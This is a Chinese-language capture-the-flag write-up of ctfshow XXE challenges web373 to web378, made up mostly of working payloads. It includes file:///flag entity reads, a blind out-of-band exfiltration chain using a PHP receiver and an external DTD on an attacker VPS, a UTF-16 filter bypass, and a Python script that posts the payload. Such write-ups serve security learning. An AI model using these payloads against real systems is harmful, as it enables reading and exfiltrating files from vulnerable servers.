web373
libxml_disable_entity_loader #禁用/启用加载外部实体的功能 参数为true时为禁用,参数为false为启用
file_get_contents('php://input') #简单理解就是接受POST请求方式传的数据
loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD) #通过解析一个 XML 标签字符串来组成该文档
simplexml_import_dom #把 DOM 节点转换为 SimpleXMLElement 对象
$creds->ctfshow 获取页面中的ctfhsow元素
这道题没有任何的过滤,直接构造payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [
<!ENTITY xee SYSTEM "file:///flag">
]>
<aaa>
<ctfshow>
&xee;
</ctfshow>
</aaa>
web374
相比于上一题,发现无回显
没有回显则可以使用Blind XXE漏洞来构建一条带外信道提取数据
在公网上上创建1.php,内容:
<?php
file_put_contents("test.txt", $_GET['file']) ;
?>
创建xxe.dtd文件:
<!ENTITY % dtd "<!ENTITY % xxe SYSTEM 'http://[vps-ip]/1.php?file=%file;'> ">
%dtd;
%xxe;
payload:
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % aaa SYSTEM "http://[vps-ip]/xxe.dtd">
%aaa;
]>
<root>123</root>
得到
将test.txt得到的内容进行base64转码即可
web375
在上面的基础上过滤了xml,version=1或0
还是使用上一题的payload
web376
/i,
过滤大小写,payload同上
web377
过滤了http
使用utf-16进行绕过
import requests
url = 'http://5cbbc523-7be1-47ce-900a-ff43444fc2e4.challenge.ctf.show/'
payload = '''
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % remote SYSTEM "http://[vps-ip]/xxe.dtd">
%remote;
%send;
]>
'''
payload = payload.encode('utf-16')
rep = requests.post(url=url, data=payload)
print(rep.text)
web378
这道题是一个登录的界面
抓包看一下
发现是回显xml 形式,而且是回显 username的值
payload:
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY file SYSTEM "file:///flag">
]>
<user>
<username>&file;</username>
<password>123</password>
</user>